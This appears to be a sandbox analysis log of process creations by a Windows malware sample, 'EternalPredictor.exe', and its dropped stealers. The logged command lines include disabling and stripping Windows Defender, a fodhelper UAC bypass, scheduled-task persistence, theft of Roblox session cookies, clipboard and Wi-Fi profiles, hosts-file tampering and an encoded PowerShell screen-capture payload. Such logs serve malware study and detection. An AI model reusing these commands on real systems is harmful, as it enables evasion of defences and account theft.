AgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\consent.exe consent.exe 6092 324 0000019985E22B80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2A5B.tmp" "c:\Users\user\AppData\Local\Temp\3pyiazzo\CSC68A32BD75EFB4A1F8C11C6C63FDD8E5.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe "C:\Users\user\AppData\Roaming\XClient.exe"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\eternal.exe "C:\Users\user\AppData\Roaming\eternal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\skuld.exe "C:\Users\user\AppData\Roaming\skuld.exe"	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\program.exe "C:\Users\user\AppData\Roaming\program.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s C:\Users\user\AppData\Roaming\skuld.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get UUID	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Users\user\AppData\Roaming\program.exe "C:\Users\user\AppData\Roaming\program.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\consent.exe consent.exe 6092 324 0000019985E22B80	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline"
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2A5B.tmp" "c:\Users\user\AppData\Local\Temp\3pyiazzo\CSC68A32BD75EFB4A1F8C11C6C63FDD8E5.TMP"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
